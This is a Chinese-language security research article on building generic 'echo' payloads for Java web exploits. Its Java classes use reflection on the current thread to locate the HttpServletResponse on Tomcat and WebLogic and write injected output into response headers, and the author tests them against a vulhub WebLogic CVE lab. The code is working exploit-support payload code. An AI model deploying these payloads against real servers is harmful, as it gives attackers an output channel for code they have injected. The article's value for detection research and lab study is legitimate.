一種基于規則的 JavaWeb 回顯方案
背景
JavaWeb 回顯技術是做漏洞檢測和利用繞不過去的。由于反連檢測會受網絡影響,對于內網或是網絡環境差的場景有漏報的風險。所以本文研究下 JavaWeb 的回顯。
回顯原理
只看 Java 層面上的回顯,一次 HTTP 的請求到響應大概像下面這樣,這里我將 Servlet、Socket 抽象出來,方便理解。
可以看見 Java 對于 http 請求處理還是基于 Socket 的,Java 可以通過 JNI 調用系統 api 來讀寫 Socket。每個 TCP 連接對應一個文件描述符,也對應著一個 Socket 對象,我們可以通過遍歷文件描述符實現遍歷 Socket,通過 Remote 端的 ip 和端口可以過濾出當前 HTTP 請求的 Socket,就可以隨意寫響應包了。再往上一層看,如果想開發 Java EE 項目,那么要先實現一個 Servlet,處理請求時要處理 HttpServletRequest、HttpServletResponse。那么如果能拿到 HttpServletResponse 就可以寫響應了。
對比兩種方法,如果使用 Socket 回顯,優點在于很通用。但缺點是在惡意代碼執行時,請求信息已經被讀取了,所以只能通過 ip、port 區分遠程目標,寫入響應,所以如果網絡經過轉發,不能獲取到源 ip 就會有問題。如果使用 Servlet 回顯,難點在于如何快速查找實現了 HttpServletRequest 的對象。本文主要針對這個問題進行分析。
對象查找
由于 Java 是面向對象編程,且不存在閉包,所以對象只能像一棵樹一樣,不在這棵樹上的對象就會被GC,所以我們查找線程對象,遞歸找它的 field、class 靜態成員。
暴力查找
其實已經有師傅實現了查找工具:https://github.com/c0ny1/java-object-searcher,但不適合直接做 payload。我這里寫了一個簡略版的暴力查找工具(這里用了樹儲存所有路徑,如果做為 payload,其實可以再精簡下的)。
package com.example.springtest.utils;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.util.*;
import java.util.regex.Pattern;
public class Searcher1 {
int maxDeep;
Pattern pattern;
public Searcher1(int n){
maxDeep = n;
pattern = Pattern.compile("(java\\.lang\\.(String|Integer|Boolean|Float|Double|Long|Class|ThreadGroup))|(jdk\\..*)|(.*Log.*)");
}
public Node SearchResponse(Object o) {
Node root = new Node(String.format("(%s)%s",o.getClass().getName(),"currentThread"),o);
if (searchResponse(o,root,new HashSet<Object>(),0)){
return root;
}else {
return null;
}
}
boolean searchResponse(Object o, Node node, Set searched, int deep) {
if (o instanceof HttpServletResponse){
return true;
}
if (o == null){
return false;
}
deep++;
if (deep > maxDeep){
return false;
}
if (searched.contains(o)){
return false;
}
if (pattern.matcher(o.getClass().getName()).find()){
return false;
}
searched.add(o);
if (o.getClass().isArray()){ // 數組
try{
Object[] os = (Object[]) o;
for (int i = 0; i < (os).length; i++) {
Object o1 = os[i];
Node newNode = new Node(String.format("[%s[%d]]",node.name,i),o1);
if (searchResponse(o1,newNode,searched,deep)){
node.Add(newNode);
}
}
}catch (Exception e){
throw e;
}
}else if (o instanceof Iterable){ // 可迭代對象
try{
int i = 0;
Iterator<?> iterator = ((Iterable<?>) o).iterator();
while (iterator.hasNext()) {
Object o1 = iterator.next();
Node newNode = new Node(String.format("[%s[%d]]",node.name,i),o1);
if (searchResponse(o1,newNode,searched,deep)){
node.Add(newNode);
}
i++;
}
}catch (Exception e){
}
}else{
Class clazz = o.getClass();
do {
Field[] fields = clazz.getDeclaredFields();
for (Field field :
fields) {
try {
field.setAccessible(true);
Object fieldObj = field.get(o);
Node newNode = new Node("[field]"+String.format("(%s)",field.getDeclaringClass().getName())+field.getName(),fieldObj);
if (searchResponse(fieldObj,newNode,searched,deep)){
node.Add(newNode);
}
} catch (Exception ignored) {
}
}
clazz = clazz.getSuperclass();
} while (clazz != null && clazz != Object.class);
}
if (node.Children.size() > 0){
return true;
}
return false;
}
}
對于通用回顯 payload,最簡單的實現方法就是在 payload 中查找 Response 對象。缺點是而且對于小機器來說可能是比較大的性能開銷,會有響應慢,甚至丟失的問題。但好處是很通用,所以也不是不可以接受。
模糊查找
暴力查找顧名思義,查找比較暴力,速度慢,但成功率高。那有沒有辦法通過一些特征,對查找過程進行剪枝呢?例如:一般會在線程的 table 中,一般 HttpServletResponse 實現對象的類型名或屬性名中會有 Response 相關字符串等等特征。根據上面暴力查找到的路徑提取特征,在查找過程中根據特征有指向性地查找,速度會快很多,特征越寬泛查找成功率越高,速度越慢,相反就成功率低,速度快。
下面是調試時的部分代碼:
package com.example.springtest.utils;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.util.*;
import java.util.concurrent.atomic.AtomicInteger;
import java.util.regex.Pattern;
public class Searcher {
Pattern pattern = null;
int maxDeep = 0;
HashMap<String,Integer> typesRecord = null;
public class SearchResult{
public Object o;
public List path;
public SearchResult(Object o,List p){
this.o = o;
path = p;
}
}
public Searcher(){
pattern = Pattern.compile("(java\\.lang\\.(String|Integer|Boolean|Float|Double|Long|Class|ThreadGroup))|(jdk\\..*)|(.*Log.*)");
typesRecord = new HashMap<String,Integer>();
}
public SearchResult FindObjectByFeature(Object o, String features, int maxSingleFeatureDeep,int maxTotalDeep) throws IllegalAccessException {
String[] ds = features.split(",");
Pattern[] array = new Pattern[ds.length];
for (int i = 0; i < ds.length; i++) {
array[i] =Pattern.compile(ds[i]);
}
return findObjectByFeature(o,array,new ArrayList(),new HashSet<>(),maxSingleFeatureDeep,maxSingleFeatureDeep,0,maxTotalDeep);
}
/*** 可能存在的問題:
* 1. 查找到某個類符合路徑中某個節點的特征,但還沒檢查到這個節點,被加到黑名單中,下次到了這個節點時可能會查不到這個類
* 2. 沒有處理map
* 3. 沒有處理多個符合特征的對象的情況
* 4. 當有多個請求同時存在時應該找到用于檢測的請求
* 5. 不是最短路徑
***/
public SearchResult findObjectByFeature(Object o, Pattern[] features,List trace, HashSet<Object> searched,int n,int maxSingleFeatureDeep,int deep,int maxTotalDeep) throws IllegalAccessException {
if (o == null || n == 0 || deep > maxTotalDeep){
return new SearchResult(null,null);
}
List newTrace = new ArrayList(trace.size());
newTrace.addAll(trace);
newTrace.add(o);
// for (int i = 0; i < deep; i++) {
// System.out.print("\t");
// }
// System.out.println(o.getClass().getName());
// if (searched.contains(o)){
// return null;
// }
searched.add(o);
if (deep > maxDeep){
maxDeep = deep;
}
if (pattern.matcher(o.getClass().getName()).find()) {
return new SearchResult(null,null);
}
if (o.getClass().isArray()){
try{
for (Object o1 : (Object[]) o) {
SearchResult res = findObjectByFeature(o1, features,newTrace,searched, n,maxSingleFeatureDeep,deep+1,maxTotalDeep);
if (res.o!=null){
return res;
}
}
}catch (Exception e){
}
}
if (o instanceof Iterable){
try{
Iterator<?> iterator = ((Iterable<?>) o).iterator();
while (iterator.hasNext()) {
Object o1 = iterator.next();
SearchResult res = findObjectByFeature(o1, features,newTrace,searched, n,maxSingleFeatureDeep,deep+1,maxTotalDeep);
if (res.o!=null){
return res;
}
}
}catch (Exception e){
}
}
List<Object> nextTargets = new ArrayList<>();
List<Object> uselessFields = new ArrayList<>();
Class clazz = o.getClass();
String cName = clazz.getName();
if (typesRecord.containsKey(cName)){
typesRecord.put(clazz.getName(),typesRecord.get(clazz.getName())+1);
}else{
typesRecord.put(clazz.getName(),1);
}
// 找出可疑目標
do {
Field[] fields = clazz.getDeclaredFields();
for (Field field :
fields) {
try {
field.setAccessible(true);
Object fieldObj = field.get(o);
if (fieldObj == null || pattern.matcher(fieldObj.getClass().getName()).find()) {
continue;
}
if (features.length != 0 && features[0].matcher(fieldObj.getClass().getName()).find()) {
nextTargets.add(fieldObj);
} else {
uselessFields.add(fieldObj);
}
} catch (Exception ignored) {
}
}
clazz = clazz.getSuperclass();
} while (clazz != null && clazz != Object.class);
// 先搜索可疑目標
if (nextTargets.size() != 0){
for (Object nextTarget :
nextTargets) {
SearchResult res = findObjectByFeature(nextTarget, Arrays.copyOfRange(features, 1, features.length),newTrace,searched, maxSingleFeatureDeep,maxSingleFeatureDeep,deep+1,maxTotalDeep);
if (res.o!=null){
return res;
}
}
}
// 搜索非直接目標
if (uselessFields.size() != 0){
for (Object nextTarget :
uselessFields) {
if (nextTarget instanceof HttpServletResponse){
return new SearchResult(nextTarget,newTrace);
}
SearchResult res = findObjectByFeature(nextTarget, features,newTrace,searched, n-1,maxSingleFeatureDeep,deep+1,maxTotalDeep);
if (res.o!=null){
return res;
}
}
}
return new SearchResult(null,null);
}
public void DumpInfo(){
System.out.printf("最大遞歸深度: %d\n",maxDeep);
List<Map.Entry<String, Integer>> list = new ArrayList<>(typesRecord.entrySet());
AtomicInteger s = new AtomicInteger();
typesRecord.forEach((c,c1)->{
s.addAndGet(c1);
});
System.out.println("訪問對象數量: "+s);
Collections.sort(list, (o1, o2) -> o2.getValue().compareTo(o1.getValue()));
if (list.size() > 0){
System.out.println("訪問次數最多的類是: "+list.get(0).getKey()+", 次數是: "+list.get(0).getValue());
}
for (Map.Entry<String, Integer> d:
list) {
System.out.printf("%s: %s\n",d.getKey(),d.getValue());
}
}
}
精確查找
一般在寫回顯時師傅們都是通過調試或 Java-object-searcher 查找路徑,然后根據路徑寫回顯 payload,實現針對某種框架、中間件的回顯。
但如果想支持多種框架、中間件,簡單粗暴的辦法就是將這些 payload 揉到一起,但這樣就會導致 payload 過大。
所以,既然知道了路徑,那可以嘗試將路徑作為規則,控制查找過程,精確查找 Response 對象。
生成路徑圖
下面是部分代碼:
package com.example.springtest.utils;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.OutputStreamWriter;
import java.util.Base64;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.*;
import java.util.regex.Pattern;
public class searchShell {
String hash;
String name;
public Object Data;
List<searchShell> Children;
searchShell(String name,Object o){
this.name = name;
this.hash = String.valueOf(System.identityHashCode(o));
Data = o;
Children= new ArrayList();
}
void Add(searchShell o){
Children.add(o);
}
void toDot(PrintWriter out) {
out.printf(" \"%s\"", hash);
if (Data != null) {
out.printf(" [label=\"%s\"]", name);
}
out.println(";");
for (searchShell child : Children) {
child.toDot(out);
out.printf(" \"%s\" -> \"%s\";\n", hash, child.hash);
}
}
public String dump() {
ByteArrayOutputStream byteStream = new ByteArrayOutputStream();
PrintWriter out = new PrintWriter(new OutputStreamWriter(byteStream));
out.println("digraph G {");
toDot(out);
out.println("}");
out.close();
return byteStream.toString();
}
private List<searchShell> getAllTerminalNodes(searchShell searchShell){
List<searchShell> res = new ArrayList();
if (searchShell.Children.size() == 0){
res.add(searchShell);
}else{
for (searchShell n :
searchShell.Children) {
for (searchShell r :getAllTerminalNodes(n)
) {
res.add(r);
}
}
}
return res;
}
public List<searchShell> GetAllTerminalNodes(){
Set set = new HashSet();
List<searchShell> res = new ArrayList<searchShell>();
for (searchShell n :
getAllTerminalNodes(this)) {
int hash = System.identityHashCode(n.Data);
if (!set.contains(hash)){
res.add(n);
set.add(hash);
}
}
return res;
}
int maxDeep;
Pattern pattern;
public searchShell(){
System.out.println("new searchShell");
maxDeep = 20;
pattern = Pattern.compile("(java\\.lang\\.(String|Integer|Boolean|Float|Double|Long|Class|ThreadGroup))|(jdk\\..*)|(.*Log.*)");
try{
searchShell root = this.SearchResponse(Thread.currentThread());
List<searchShell> res = root.GetAllTerminalNodes();
int i = 0;
for (searchShell r :
res) {
String tag = String.format("tag%d",i);
Field req = r.Data.getClass().getDeclaredField("request");
req.setAccessible(true);
Object o = req.get(r.Data);
if (o instanceof HttpServletRequest){
if (((HttpServletRequest)o).getHeader("tag").equals("1")){
((HttpServletResponse)r.Data).addHeader(tag,Base64.getEncoder().encodeToString(root.dump().getBytes()));
}
}
i++;
}
}catch (Exception e){
}
}
public searchShell SearchResponse(Object o) {
searchShell root = new searchShell(String.format("(%s)%s",o.getClass().getName(),"currentThread"),o);
if (searchResponse(o,root,new HashSet<Object>(),0)){
return root;
}else {
return null;
}
}
boolean searchResponse(Object o, searchShell searchShell, Set searched, int deep) {
if (o instanceof HttpServletResponse){
return true;
}
if (o == null){
return false;
}
deep++;
if (deep > maxDeep){
return false;
}
if (searched.contains(o)){
return false;
}
if (pattern.matcher(o.getClass().getName()).find()){
return false;
}
searched.add(o);
if (o.getClass().isArray()){ // 數組
try{
Object[] os = (Object[]) o;
for (int i = 0; i < (os).length; i++) {
Object o1 = os[i];
searchShell newNode = new searchShell(String.format("[%s[%d]]",searchShell.name,i),o1);
if (searchResponse(o1,newNode,searched,deep)){
searchShell.Add(newNode);
}
}
}catch (Exception e){
throw e;
}
}else if (o instanceof Iterable){ // 可迭代對象
try{
int i = 0;
Iterator<?> iterator = ((Iterable<?>) o).iterator();
while (iterator.hasNext()) {
Object o1 = iterator.next();
searchShell newNode = new searchShell(String.format("[%s[%d]]",searchShell.name,i),o1);
if (searchResponse(o1,newNode,searched,deep)){
searchShell.Add(newNode);
}
i++;
}
}catch (Exception e){
}
}else{
Class clazz = o.getClass();
do {
Field[] fields = clazz.getDeclaredFields();
for (Field field :
fields) {
try {
field.setAccessible(true);
Object fieldObj = field.get(o);
searchShell newNode = new searchShell("[field]"+String.format("(%s)",field.getDeclaringClass().getName())+field.getName(),fieldObj);
if (searchResponse(fieldObj,newNode,searched,deep)){
searchShell.Add(newNode);
}
} catch (Exception ignored) {
}
}
clazz = clazz.getSuperclass();
} while (clazz != null && clazz != Object.class);
}
if (searchShell.Children.size() > 0){
return true;
}
return false;
}
}
這個 payload 是一個自動查找 Response 的,查找結果是一棵樹,如果查找成功會根據這棵樹生成一個 dot 腳本,并在 header 回顯,如圖:
在本機中將腳本生成圖片,一共有4條路徑,2個 Response 對象,但是否條條大路通回顯還需要測一下。
測試回顯
測試下這兩個 Response 對象。
兩個都可以成功在 Header 回顯。
篩選請求
找到 Response 了,那怎么判斷當前 Response 是對應著我們發出的請求呢?(如果不對應上可能會回顯在別人的請求中)本來把希望寄托在 HttpServletResponse 接口,但看了下沒有定義任何獲取 Request 相關的函數(這難道不應該把上下文存一下嗎?)。
當前測試的代碼是在 tomcat 環境下,HttpServletResponse 的實現類是 org.apache.catalina.connector.Response,其類定義中有 request 屬性,我又看了下 weblogic 的實現類是 weblogic.servlet.internal.ServletResponseImpl,也定義了 request 屬性,而且剛好都是 HttpServletRequest 的實現。所以可以猜測,雖然 HttpServletResponse 未定義獲取請求對象的接口,但是開發者們都很自覺的在實現類里定義了。
既然有 Response 對象,且存在 request 屬性(至少 tomcat 和 weblogic 存在,如果有沒定義 request 的,先噴一下他們開發,再改 payload 吧),那么我們就可以篩選出帶有特定標簽的請求做回顯了。
如圖:
簡化查找過程
根據上面暴力查找得到的路徑圖,我嘗試將最短路徑作為規則,并讓它根據規則進行查找,對于上面的環境,我選擇這條路徑做為規則:
weblogic 環境:vulhub/weblogic/CVE-2018-2628,通過加載暴力查找 .class,得到路徑圖如下,只有一個對象。
下面根據路徑規則,自動查找 Response,這里暫時只加了 Tomcat 和 Weblogic 的規則,后續可以通過加入更多的規則。
代碼如下:
package com.example.springtest;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
public class multiEcho {
public static Object getField(Object o,String feature) {
int n = 0;
for (Class<?> clazz = o.getClass(); clazz != null; clazz = clazz.getSuperclass(),++n) {
try {
Field field = clazz.getDeclaredField(feature);
field.setAccessible(true);
return field.get(o);
} catch (Exception e) {
if (n > 2){
return null;
}
}
}
return null;
}
public static Object getTargetByRouteFeatures(Object o,String[] features) throws Exception {
for (String feature:
features) {
String[] split = feature.split("\\|");
o = getField(o,split[0]);
if (o==null)
return null;
if (o.getClass().isArray() && split.length > 1){
for (int i = 0; i < Array.getLength(o); i++) {
Object o1 = Array.get(o,i);
if (o1!=null)
o1 = getTargetByRouteFeatures(o1,split[1].split("_"));
if (o1!=null){
o = o1;
break;
}
}
}
}
if (o instanceof HttpServletResponse){
return o;
}
return null;
}
public multiEcho() throws Exception{
String[] rules = {"workEntry,response","threadLocals,table|value_response,response"};
for (int i = 0; i < rules.length; i++) {
try{
HttpServletResponse rsp = (HttpServletResponse) getTargetByRouteFeatures(Thread.currentThread(),rules[i].split(","));
Field req = rsp.getClass().getDeclaredField("request");
req.setAccessible(true);
Object o = req.get(rsp);
if (o instanceof HttpServletRequest){
if (((HttpServletRequest)o).getHeader("tag").equals("1")){
((HttpServletResponse)rsp).addHeader("tag","haha");
}
}
}catch (Exception e){
e.printStackTrace();
}
}
}
}
總結
本文提出了幾種解決方案,包括暴力查找、模糊查找、精確查找(基于規則查找),各有優缺點。基于規則的查找優點在于每次添加一種新的框架、中間件支持只要加一個規則,有效的減少了 payload 體積。而規則可以通過 payload 生成路徑圖,選取最短路徑來編寫。歡迎師傅們有更好的想法或建議可以一起交流。